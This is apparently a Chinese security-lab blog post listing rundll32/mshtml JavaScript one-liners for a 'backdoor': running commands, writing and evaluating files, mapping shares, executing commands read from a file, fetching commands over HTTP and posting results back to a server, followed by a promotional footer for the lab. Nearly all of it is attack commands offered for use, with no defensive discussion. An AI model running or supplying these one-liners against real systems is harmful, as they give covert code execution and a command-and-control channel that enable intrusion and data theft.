利用Javascript做后门的利用方式

//Execute A Command

1. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("calc");

//Write To A File

1. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";fso=new%20ActiveXObject("Scripting.FileSystemObject");a=fso.CreateTextFile("c:\\Temp\\testfile.txt",true);a.WriteLine("Test");a.Close();self.close;

//Read and Execute From A File

1. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();fso=new%20ActiveXObject("Scripting.FileSystemObject");f=fso.OpenTextFile("c:\\Temp\\testfile.txt",1);eval((f.ReadAll()));

//Map A Remote Share (WEBDAV)

1. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";n=new%20ActiveXObject('WScript.Network');n.MapNetworkDrive("S:","https://live.sysinternals.com");self.close;

//Map A Local Share

1. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";n=new%20ActiveXObject('WScript.Network');n.MapNetworkDrive("S:","\\\\Localhost\\c$");self.close;

//Read and Execute Commands From A File

1. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();fso=new%20ActiveXObject("Scripting.FileSystemObject");f=fso.OpenTextFile("c:\\Temp\\Commands.txt",1);while(!f.AtEndOfStream){t=new%20ActiveXObject("WScript.Shell");t.Run("cmd%20/c%20"%20+%20f.ReadLine(),null,true);};

//Retrieve Commands From HTTP

1. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1/a.txt",false);h.Send();B=h.ResponseText;alert(B);

//POST results back to Server

1. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("POST","http://127.0.0.1:8081/a.php",false);h.Send("Stuff");

扫描下方二维码学习更多WEB安全知识：

Ms08067安全实验室

专注于普及网络安全知识。团队已出版《Web安全攻防：渗透测试实战指南》，《内网安全攻防：渗透测试实战指南》，目前在编Python渗透测试，JAVA代码审计和二进制逆向方面的书籍。

团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货，从零开始、以实战落地为主，致力于做一个实用的干货分享型公众号。

官方网站：www.ms08067.com